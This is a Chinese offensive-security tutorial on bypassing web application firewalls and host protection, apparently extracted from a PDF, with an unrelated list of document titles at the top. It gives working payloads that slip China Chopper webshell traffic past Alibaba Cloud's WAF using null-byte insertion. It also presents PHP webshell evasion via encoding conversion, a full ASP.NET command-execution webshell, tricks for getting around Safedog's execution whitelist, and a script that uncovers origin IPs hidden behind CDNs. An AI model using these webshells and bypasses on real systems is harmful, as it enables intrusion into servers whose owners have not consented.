接 : 阿里云盾 : 这个 post 数据是绝对会被云盾拦截的 : 基于 waf 专员智力水平, 肯定不是简单处理下请求就能绕过的 这里先将请求拆分, 分别进行请求看看 测试发现过滤了 eval 这个函数, 有意思的是 e

Similar documents
先知技术社区独家发表本文, 如需要转载, 请先联系先知技术社区授权 ; 未经授权请勿转载 先知技术社区投稿邮箱 我的 WafBypass 之道 (upload 篇 ) 0x00 前言 Author:Tr3jer_CongRon

RUN_PC連載_10_.doc

untitled

Python a p p l e b e a r c Fruit Animal a p p l e b e a r c 2-2

Microsoft Word - PHP7Ch01.docx

當母親禱告時

PowerPoint プレゼンテーション

Microsoft Word - 01.DOC

第一章 章标题-F2 上空24,下空24

1.JasperReport ireport JasperReport ireport JDK JDK JDK JDK ant ant...6

電腦做什麼事~第七章

<4D F736F F D C6573ABC8A4E1A8CFA5CEBBA1A9FAAED1>

導讀 ASP.NET HTML ASP 第一篇 基礎篇第 1 章 認識 ASP.NET ASP.NET ASP.NET ASP.NET ASP.NET 第 2 章 認識 Visual Studio 20 開發環境 Visual Studio 20 Visual Studio 20 第二篇 C# 程式

1 1 大概思路 创建 WebAPI 创建 CrossMainController 并编写 Nuget 安装 microsoft.aspnet.webapi.cors 跨域设置路由 编写 Jquery EasyUI 界面 运行效果 2 创建 WebAPI 创建 WebAPI, 新建 -> 项目 ->

Chapter 9: Objects and Classes

Natural Language Processing, Topic Modeling, Neural Text Generation and Ali Xiaomi

untitled

Microsoft PowerPoint - Lecture7II.ppt

<4D F736F F D20C6F3D2B5CDF8D5BECFB5CDB3BCBCCAF5B9E6B7B6CAE9A3A8C6C0B9C0D3C3A3A92E646F63>

Java

第一章

Perl

第 1 部 分 : 检 查 网 络 要 求 在 第 1 部 分 中, 您 将 研 究 使 用 /17 网 络 地 址 为 拓 扑 图 中 显 示 的 网 络 开 发 VLSM 地 址 方 案 的 网 络 要 求 注 意 : 您 可 以 使 用 Windows 计 算 器 应

天仁期末個人報告1.PDF

教育扩张能改善收入分配差距吗?——来自CHNS2006年数据的证据

山水文化,市井人家——以湖州邱城小镇的概念性规划为例

SiteView技术白皮书

epub83-1

Microsoft Word - 11.doc

1. 概 述 1.1 扫 描 对 象 序 号 1 IP 地 址 域 名 1.2 漏 洞 等 级 分 布 风 险 类 型 数 量 高 风 险 1 中 风 险 5 低 风 险 4 信 息 类 4 7% 29% 高 风 险 36% 中 风 险 低 风

untitled

untitled

<4D F736F F D20D0C5CFA2BBAFB7A2D5B9D6D8B5E3D7A8CFEEB9E6BBAE2E646F63>

关于建立境内违法互联网站黑名单管理制度的通知

? 這 全 都 是 市 政 府 提 供 給 我 的 資 料 低 底 盤 公 車 計 畫 96 年 預 算 新 台 幣 4,500 萬 元 97 年 預 算 新 台 幣 1 億 6,500 萬 元 98 年 預 算 新 台 幣 3 億 2,300 萬 元, 共 有 307 台 低 底 盤 公 車,99

RUN_PC連載_8_.doc

untitled

“上海证券交易所联合研究计划”第十二期研究课题之

mvc

untitled

Microsoft Word - Learn Objective-C.doc

Spyder Anaconda Spyder Python Spyder Python Spyder Spyder Spyder 開始 \ 所有程式 \ Anaconda3 (64-bit) \ Spyder Spyder IPython Python IPython Sp

ebook4-12

untitled

Microsoft Word - Ch06.docx

Microsoft Word - 三峽鎮衛生所_3_-張家宸.李永繁.doc

Microsoft Word - 武漢大學交流營心得_黃莉云_.doc

全国计算机技术与软件专业技术资格(水平)考试

Page 2 of 12

<D2B0D0C4D3C5D1C52DC8CED6BEC7BF202D20BCC7CAC2B1BE>

秘密大乘佛法(下)

國立臺東高級中學102學年度第一學期第二次期中考高一國文科試題

!! :!!??!!?!??!!!... :... :'?'?! :' ' :'?' :'?' :'!' : :? Page 2

Microsoft Word - Sunday

鎶ョ焊0

本章学习目标 小风 Java 实战系列教程 SpringMVC 简介 SpringMVC 的入门案例 SpringMVC 流程分析 配置注解映射器和适配器 注解的使用 使用不同方式的跳转页面 1. SpringMVC 简介 Spring web mvc

untitled

國立中山大學學位論文典藏.PDF

相 应 功 能 (5) 再 将 Boy 类 作 为 Girl 类 的 友 元 类, 在 Boy 类 的 某 成 员 函 数 VisitGirl(Girl & ) 中 访 问 Girl 类 的 私 有 成 员, 观 察 编 译 器 给 出 的 信 息 ( 6 ) 删 除 两 个 类 中 的 函 数 V

untitled

2.4 Selenium Python Selenium Selenium Selenium Selenium pip install selenium Chrome WebDriver Google Chrome (Linux, Mac, Windows) Chrome WebDriv

第 一 节 认 识 自 我 的 意 义 一 个 人 只 有 认 识 自 我, 才 能 够 正 确 地 认 识 到 自 己 的 优 劣 势, 找 出 自 己 的 职 业 亮 点, 为 自 己 的 顺 利 求 职 推 波 助 澜 ; 一 个 人 只 有 认 识 自 我, 才 能 在 求 职 中 保 持

互動網頁技術系列課程 HTML與CSS網站基礎設計 [12pt]

1.5招募说明书(草案)

6-1 Table Column Data Type Row Record 1. DBMS 2. DBMS MySQL Microsoft Access SQL Server Oracle 3. ODBC SQL 1. Structured Query Language 2. IBM

Review

四川省普通高等学校

<4D F736F F D20CDA8D3C3B9E6B7B6BABAD7D6B1ED5FB0B4B1E0C2EBC5C5C1D05F2E646F63>

關於本書 l 3 PhoneGap Appcelerator Titanium Sencha Touch (wrapper framework) Native App PhoneGap Build Native App Hybrid App Java Objective-C Android SDK

ThreeDtunnel.doc

Simulator By SunLingxi 2003

<4D F736F F D203136BCADBBD8D2E4D3EBD1D0BEBF2E646F63>

萧山中学课程建设方案.doc


Microsoft Word - 9pinggb_A4.doc

Microsoft Word - 9pinggb_A4-f4.doc

理 论 探 索 事 业 单 位 改 革 的 五 点 思 考 余 路 [ 摘 要 ] 事 业 单 位 改 革 是 中 国 改 革 的 重 要 环 节, 其 影 响 力 和 难 度 不 亚 于 国 有 企 业 改 革 本 文 着 重 围 绕 推 进 事 业 单 位 改 革 应 考 虑 的 五 个 方 面

日 本 位 于 亚 洲 东 部, 太 平 洋 西 北 角, 是 我 国 东 方 的 一 个 岛 国 在 洪 积 世 ( 注 1) 的 大 部 分 时 期 内, 日 本 与 大 陆 相 连 大 约 在 洪 积 世 晚 期 至 冲 积 世 ( 注 2) 初 期, 日 本 各 地 发 生 海 进, 出 现

2深化教育教学改革、创新人才培养模式

Microsoft Word - 9pinggb_let.doc

Microsoft Word - 9pingb5_let.doc

退休權益.ppt [相容模式]

Microsoft Word - 1.《國文》試題評析.doc

Ps22Pdf

$%%& ()*+, %&, %-&&%%,. $ %,, $,, & /$- 0(1 $%%& %& 234 %-%, 5&%6&633 & 3%%, 3-%, %643 -%%% :::; 7<9; %-%, 3$%$ :::;

# $# #!# # # # # # # %# # # &# # # # #! "

2016 年 地 质 工 程 系 教 学 工 作 安 排 2016 学 年 我 系 将 在 总 结 过 去 工 作 的 基 础 上, 结 合 今 年 学 院 以 抓 质 量 强 内 涵 促 改 革 调 结 构 建 品 牌 细 管 理 重 过 程 为 宗 旨, 以 规 范 管 理 深 化 内 涵 为


实 习 上 下 点 表 格 解 释 和 相 关 纪 律 要 求 : 1 表 格 中 所 有 名 词 都 为 简 称, 包 括 医 院 名 称 四 年 级 五 年 级 各 专 业 名 称 等 所 有 时 间 都 为 学 生 装 好 行 李 出 发 时 间, 请 提 前 0 分 钟 将 行 李 运 到

3 基 金 杠 杆 从 分 级 基 金 的 概 念, 我 们 知 道 了 分 级 基 金 的 A 份 额 是 每 年 获 得 固 定 收 益 的 稳 健 份 额,B 份 额 是 具 有 杠 杆 效 应 的 激 进 份 额 分 级 基 金 中 的 杠 杆 一 般 有 三 类 : 份 额 杠 杆 =(A

简报158期.doc

zt

一 個 SQL Injection 實 例 的 啟 示 頁 2 / 6 因 此, 在 知 名 網 站 上 看 到 SQL Injection, 讓 人 驚 心, 卻 不 意 外 網 站 專 案 外 包 是 目 前 業 界 的 常 態, 而 在 價 格 取 勝 的 制 度 下, 低 價 得 標 的 S


AM101-1(中文)11.cdr

RunPC2_.doc

13 根 据 各 种 网 络 商 务 信 息 对 不 同 用 户 所 产 生 的 使 用 效 用, 网 络 商 务 信 息 大 致 可 分 为 四 级, 其 中 占 比 重 最 大 的 是 ( A ) A 第 一 级 免 费 信 息 B 第 二 级 低 收 费 信 息 C 第 三 级 标 准 收 费

目 錄 第 一 章 weberp 簡 介... 6 第 一 節 概 述... 6 第 二 節 安 全 性... 7 第 三 節 功 能... 7 一 銷 售 及 訂 單... 7 二 稅... 8 三 應 收 帳 款... 8 四 存 貨... 8 五 購 買... 9 六 應 付 帳 款... 9

Transcription:

先知技术社区独家发表本文, 如需要转载, 请先联系先知技术社区授权 ; 未经授权请勿转载 先知技术社区投稿邮箱 :Aliyun_xianzhi@service.alibaba.com; 我的 WafBypass 之道 (Misc 篇 ) 0x00 前言 Author:Tr3jer_CongRong Blog:www.Thinkings.org Mail:Tr3jer@gmail.com I am back 再不出这篇就要被笑然老板吊打了 本来这一篇打算写免杀的 考虑了下既然是预期最后一篇那就写个汇总和一些偏门的吧 并且在辍写本文时将前两篇进行了增改 本文主要讲以下几点, 也是讲的并不全, 但是实用 对其进行简单的阐述下 : Bypass 菜刀连接拦截 多数 waf 对请求进行检测时由于事先早已纳入了像菜刀这样的样本 通常 waf 对这块的检测就是基于样本, 所以过于死板 webshell 免杀 讲 webshell 免杀也就直接写写姿势, 一些特性功能 畸形语法 生僻函数比如回调等绕过查杀语法, 不断变种 变种 变种 ( 混淆太恶心了, 将其拿到实战上的人是怎么想的?) Bypass 禁止执行程序 黑客在进行提权时, 主机防护软件安全狗 星外等会进行拦截 原理上都是基于黑白名单进行拦截敏感的程序调用 Bypass CDN 查找原 IP cdn 隐藏了原 ip, 在某种情况上使黑客无法做不正当勾当, 那么自然就有各种绕过的方法 在这里附上一些靠谱的姿势和小工具 0x01 Bypass 菜刀连接拦截 这里写两个案例, 分别稍加修改菜刀的连接原始数据达到 Bypass,very simple 证明拦截规则不能写的原样照搬, 一个简单的一句话, 并基于市面最广的菜刀为样本进行连

接 : 阿里云盾 : 这个 post 数据是绝对会被云盾拦截的 : 基于 waf 专员智力水平, 肯定不是简单处理下请求就能绕过的 这里先将请求拆分, 分别进行请求看看 : @eval%01(base64_decode($_post[z0])); 测试发现过滤了 eval 这个函数, 有意思的是 eval%01( 能被拦截肯定是因为原样照搬了这个菜刀的规则 而且只要在左括号前面插入 %00 就不会拦截, 也就是 : @eval%00(base64_decode%00($_post[z0])); 接下来就是绕过后面这段 base64 了, 这段 base64 解密是段调用机器信息的 php 代码, 拦截的有点暴力也很正常 话说回来, 发现云盾能够将这段 base64 一段一段识别的, 是智能还是只是基于菜刀的样本? QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIp 拦截 QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01Ip 不拦截

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01IpO0BzZXRfdGltZV9saW1pdC gwkttac2v0x21hz2ljx3f1b3rlc19ydw50aw1lkdapo2vjag8oii0%2bfcip 拦截 QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01IpO0BzZXRfdGltZV9saW1pdC gwkttac2v0x21hz2ljx3f1b3rlc19ydw50aw1lkdapo2vjag8oii0%2bfcipozskr D1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKS REPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx 0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIp IGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7J HU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cH d1awqoqhbvc2l4x2dldgv1awqoksk6jyc7jhvzcj0ojhuppyr1wyduyw1lj106qgd ldf9jdxjyzw50x3vzzxioktskui49cghwx3vuyw1lkck7jfiupsioeyr1c3j9ksi7 chjpbnqgjfi7o2vjag8oinw8lsipo2rpzsgpow== 拦截 将这段 base64 三个字符三个字符挨个 fuzz 发现在 %2B 前面插入就不会拦截了 : QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01IpO0BzZXRfdGltZV9saW1pdC gwkttac2v0x21hz2ljx3f1b3rlc19ydw50aw1lkdapo2vjag8oii0%01%2b 所以, 因为云盾没匹配到菜刀的样本, 只要将 %01 这样的空字符插对地方的话, 就可以绕过了 : a=@eval%00(base64_decode%00($_post[z0]));&z0=qgluav9zzxqoimrpc3bs YXlfZXJyb3JzIiwiMC%01IpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3 F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%01%2BfCIpOzskRD1kaXJuYW1lKCRfU0 VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9 TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIo JEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX 2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2 V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2d ldgv1awqoksk6jyc7jhvzcj0ojhuppyr1wyduyw1lj106qgdldf9jdxjyzw50x3vz ZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2Vja G8oInw8LSIpO2RpZSgpOw==

当然, 图方便可以再根据这个绕过规则改下菜刀

主机卫士 360 主机卫士对菜刀的请求将直接判断为 "AttackType":"Caidao webshell" 样本 在eval函数前面插入任意urlencode的字符即可绕过 免杀 免杀基于主机防护软件 这里拿安全狗 云锁 主机卫士举个可用的例子 0x02 webshell mb_convert_encoding( $str, $encoding1,$encoding2 )

这个函数用于编码转换的处理, 验证下这个函数 : 这个图证明的不够的话再来一个,UTF-16BE UTF-16LE 编码不管中英文的字符每个字符都是占两个字节, 那么说回这个函数, 支持转换的编码很全的, 使用这个函数转换成 UTF-16BE 看看 为了用户体验, 主机防护软件对 eval 这类函数只要不被外部可控就不会被拦截 : $str=1; @eval($str); 但只要外部可控就会被拦截

经过处理后即可绕过 : $str=base64_decode("cghwaw5mbygpow=="); //$str=base64_decode(base64_encode($_post['a'])); $str1=mb_convert_encoding($str, "GBK"); @eval($str1); 安全狗 : 主机卫士 :

云锁 : 个人是不会使用这么蠢的后门或者混淆加密什么的, 因为开发者后期维护代码时还是有可能被查到的, 这里只是举个例子 推荐几个方案就是间接利用程序自身来做后门 ( 改的越少越好 / 最好不要使用增添新文件的方式 ): 利用 404 页面在正常程序中多次调用 GET POST Cookie 的代码里 : //$a=$_post['a'];

//%b=$_post['b']; $a($b); //a=assert&b=phpinfo() 利用 ADS 流利用.user.ini //wooyun-drops-tips-3424 0x03 Bypass 禁止执行程序 这里以 Safedog 为例, 最新版 Safedog IIS 4.0 已经不显示禁止 IIS 执行程序的白名单了 : 找了个之前的版本搬一下白名单列表 : %windows%microsoft.net/framework/v1.1.4322/aspnet_wp.exe %windows%microsoft.net/framework/v1.1.4322/csc.exe %windows%microsoft.net/framework/v1.1.4322/vbc.exe %windows%microsoft.net/framework/v2.0.50727/aspnet_wp.exe %windows%microsoft.net/framework/v2.0.50727/csc.exe %windows%microsoft.net/framework/v2.0.50727/vbc.exe %windows%microsoft.net/framework/v4.0.30319/aspnet_wp.exe %windows%microsoft.net/framework/v4.0.30319/csc.exe %windows%microsoft.net/framework/v4.0.30319/vbc.exe %windows%system32/drwatson.exe %windows%system32/drwtsn32 %windows%system32/drwtsn32.exe %windows%system32/vsjitdebugger.exe C:/Windows/Microsoft.Net/Framework/v3.5/csc.exe C:/Windows/Microsoft.Net/Framework/v3.5/vbc.exe 首先一个执行 cmd 小马 : <%@ Page Language="C#" Debug="true" Trace="false" %> <%@ Import Namespace="System.Diagnostics" %> <script Language="c#" runat="server">

protected void FbhN(object sender,eventargs e){ try{ Process ahae=new Process(); ahae.startinfo.filename=path.value; ahae.startinfo.arguments=argm.value; ahae.startinfo.useshellexecute=false; ahae.startinfo.redirectstandardinput=true; ahae.startinfo.redirectstandardoutput=true; ahae.startinfo.redirectstandarderror=true; ahae.start(); string Uoc=ahAE.StandardOutput.ReadToEnd(); Uoc=Uoc.Replace("<","<"); Uoc=Uoc.Replace(">",">"); Uoc=Uoc.Replace("\r\n","<br>"); tnqrf.visible=true; tnqrf.innerhtml="<hr width=\"100%\" noshade/><pre>"+uoc+" </pre>"; }catch(exception error){ Response.Write(error.Message); } } </script> <html> <head> <title>cmd webshell</title> </head> <body> <form id="cmd" method="post" runat="server"> <div runat="server" id="viac"> <p>path:<br /> <input class="input" runat="server" id="path"

type="text" size="100" value="c:\windows\system32\cmd.exe" /> </p> Param: <br /> <input class="input" runat="server" id="argm" value="/c Set" type="text" size="100" /> <asp:button id="yrql" cssclass="bt" runat="server" text="submit" onclick="fbhn" /> <div id="tnqrf" runat="server" visible="false" enableviewstate="false"> </div> </div> </form> </body> </html> 拦截 : 把白名单的内容做为参数进行执行呢 : 成功绕过, 直接封装到 webshell 参数上更方便 :

StartInfo.Arguments=@"/'C:/Windows/Microsoft.NET/Framework/v1.1.4 322/vbc.exe' " + argm.value; 满足这个白名单并使用路径跳转的方式执行程序也可以绕过 : 回首这个白名单, 这个基于白名单识别有个缺陷就是并不是完全的匹配, 而是前面匹配到了则放过 打个比方 : 可以利用 windows 的一个特性将可执行的文件改为.exee, 比如我们使用白名单中的 vsjitdebugger.exe 这个文件名, 上传一个名为 vsjitdebugger.exee 的 cmd 即可 :

0x04 Bypass CDN 查找原 IP 由于 cdn 不可能覆盖的非常完全, 那么可以采用国外多地 ping 的方式, 或者多收集一些小国家的冷门 dns 然后 nslookup domain.com dnsserver 写了个简单的脚本, 首先收集好偏门的 dns 字典, 然后轮训一个目标的方式, 输出这些 dns 查询出的不同结果 https://gist.github.com/tr3jer/98f66fe250eb8b39667f0ef85e4ce5e5 #!/usr/bin/env python # -*- encoding: utf-8 -*- # author == Tr3jer_CongRong import re import sys import time import threading import dns.resolver class Bypass_CDN: def init (self,domain,dns_dict): self.domain = domain self.myresolver = dns.resolver.resolver() self.dns_list = set([d.strip() for d in open(dns_dict)]) self.good_dns_list,self.result_ip = set(),set() def test_dns_server(self,server): self.myresolver.lifetime = self.myresolver.timeout = 2.0 try: self.myresolver.nameservers = [server] sys.stdout.write('[+] Check Dns Server %s \r' % server) sys.stdout.flush() answer = self.myresolver.query('google-public-dnsa.google.com')

if answer[0].address == '8.8.8.8': self.good_dns_list.add(server) except: pass def load_dns_server(self): print '[+] Load Dns Servers...' threads = [] for i in self.dns_list: threads.append(threading.thread(target=self.test_dns_server,args= (i,))) for t in threads: t.start() while True: if len(threading.enumerate()) < len(self.dns_list) / 2: break else: time.sleep(1) print '\n[+] Release The Thread...' for j in threads: j.join() print '[+] %d Dns Servers Available' % len(self.good_dns_list) def ip(self,dns_server): self.myresolver.nameservers = [dns_server] try: result = self.myresolver.query(self.domain) for i in result: self.result_ip.add(str(i.address)) except: pass def run(self): self.load_dns_server() print '[+] Dns Servers Test Target Cdn...' threads = [] for i in self.good_dns_list: threads.append(threading.thread(target=self.ip,args= (i,))) for t in threads: t.start() while True: if len(threading.enumerate()) < len(self.good_dns_list) / 2: break else: time.sleep(1) for j in threads: j.join() for i in self.result_ip: print i

if name == ' main ': dns_dict = 'foreign_dns_servers.txt' bypass = Bypass_CDN(sys.argv[1],dns_dict) bypass.run() 通过 dns 历史解析记录查找目标源 ip, 我推荐使用 Rapid7 的 DNS 解析记录库进行检索, 毕竟做渗透的聪明人都讲究 : 事前早有准备, 而不是临阵磨枪 这里有一份 2014.03 2015.10 的解析记录放在了百度云

的 类型都可以进行检索 基于dns解析hitory还可以使用netcra NS/TXT/MX dns.com 让服务器主动连接 在可上传图片的地方利用目标获取存放在自己服务器的图片 或者任何可pull自己 资源的点 review log即可拿到 通过注册等方式让目标主动发邮件过来 此方法对于大公司几率小 因为出口可能 是统一的邮件服务器 可以尝试扫其MailServer网段 0x05 End. 为完成这个系列 将前两篇也适当的增添了一些 有什么这方面的问题可以在本帖 问 嗯 那就这样吧